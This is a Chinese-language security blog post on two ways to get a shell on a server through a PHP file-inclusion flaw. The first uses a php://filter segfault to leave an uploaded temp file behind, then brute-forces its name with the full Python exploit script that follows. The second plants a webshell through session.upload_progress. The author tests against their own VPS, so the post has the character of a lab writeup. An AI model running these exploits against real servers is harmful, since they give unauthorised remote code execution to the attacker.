文件包含的一些getshell姿势

利用php://filter/string.strip_tags造成segment fault

之前在p牛的一篇文章中学习到了结合文件上传getshell的姿势,原理是向php程序上传文件时会在/tmp目录下生成临时文件(即使这个PHP没有任何处理文件上传的过程,甚至是空的),也就是处理上传文件时常常用到的一个变量$_FILES['file']['tmp_name'],由于生成的文件名是随机的,但是有一些特征,可以用glob通配符提取出来,具体可以看原文。这里要说的是在含有文件包含漏洞的地方,使用php://filter/string.strip_tags导致php7 segment fault,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录(<php7.2),再进行文件名爆破就可以getshell。用我的VPS做个实验,首先php版本如下enter description hereinclude.php:

1
2
<?php
include($_GET['file']);?>

enter description here可以看到,php崩溃了。那么这时候我们POST一个文件上去enter description here这时候可以看到,tmp file被留在了/tmp目录没有被删去,正常来说它是应该被马上移除的。enter description here上传成功后,我们就可以进行文件名的爆破,tmp file的文件名是有规律的,都叫/tmp/php再加上6位的大小写字母加上数字的随机组合,这个爆破量比较大,但是是可行的,贴个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import string,requests,threading,Queue

charset = string.digits + string.letters
host = "123.207.99.17"
port = 80
base_url = "http://%s:%d" % (host, port)

def get_ready():

queue=Queue.Queue()

for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
print 'putting '+filename
queue.put(filename)

workers=[]

for t in range(30):
worker=threading.Thread(target=get,args=(queue,))
worker.start()
workers.append(worker)

for worker in workers:
worker.join()

def get(queue):
try:
while queue.qsize()!=0:
filename=queue.get(block=False)
brute_force_tmp_files(filename)
except Exception as e:
print e

def brute_force_tmp_files(filename):
url = "%s/include.php?file=/tmp/php%s" % ( base_url, filename)
print url
try:
response = requests.get(url,timeout=2)
if len(response.content)!=0:
print "[+] Include success!"
with open('success.txt','a') as f:
f.write(filename+'\r\n')
return True
except Exception as e:
print e
return False

def main():
get_ready()


if __name__ == "__main__":
main()

利用session.upload把木马写入服务端session文件

关于PHP的session.upload可以看这篇文章,当session.upload_progress.enabled被设置为on(默认就为on),如果在上传文件的同时POST一个与session.upload_progress.name同名的变量(默认是PHP_SESSION_UPLOAD_PROGRESS),会生成一个记录上传进度的文件,路径为/var/lib/php/sessions/sess_{PHPSESSID}(具体要看php配置)enter description heresession.upload_progress.cleanup是用来自动清除上传记录的session的,这里为了方便测试,我先把它关掉。只需发送一个这样格式的数据包即可(其实就是普通的上传文件表单加一个name=PHP_SESSION_UPLOAD_PROGRESS)enter description here此时session文件已经生成,可以直接包含。enter description hereenter description here如果不修改配置,用默认的cleanup=On,则需要条件竞争,多线程一直发包

总结

php的session.upload和文件上传有很多玄机,我之前写的一篇关于序列化处理器的文章也用到了这方面知识,非常值得深入学习。

#Referer
https://xz.aliyun.com/t/2148#toc-4
https://www.jianshu.com/p/dfd049924258